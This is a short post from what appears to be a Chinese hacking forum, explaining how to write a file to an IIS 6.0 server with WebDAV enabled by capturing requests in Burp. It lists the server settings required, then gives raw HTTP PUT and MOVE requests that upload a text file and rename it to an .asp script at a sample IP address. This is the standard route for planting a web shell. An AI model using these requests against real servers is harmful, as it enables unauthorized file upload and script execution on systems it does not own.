女黑客 › 【 技 术 交 流 】 › IIS6.0 burp 抓包写文件

nvhack 发表于 2018-5-15 10:35:07

IIS6.0 burp 抓包写文件

1，首先要开启WebDav
2，开启脚本资源访问,目的是为了MOVE移动成.asp 不开启，移动不成功
3，开启可写，不开启PUT协议无法写入文件
这里可能出现问题，不要用火狐浏览器抓包
如果抓包，请删除，其他参数，只保留以下即可。
使用OPTIONS探测是否支持 PUT MOVE 协议

PUT /1.txt HTTP/1.1
Host: 10.96.10.58
Cache-Control: max-age=0
Content-Length: 5

12345
MOVE /A.txt HTTP/1.1
Host: 10.96.10.58
Cache-Control: max-age=0
Content-Length: 5
Destination: http://10.96.10.58/111.asp

12345

查看完整版本: IIS6.0 burp 抓包写文件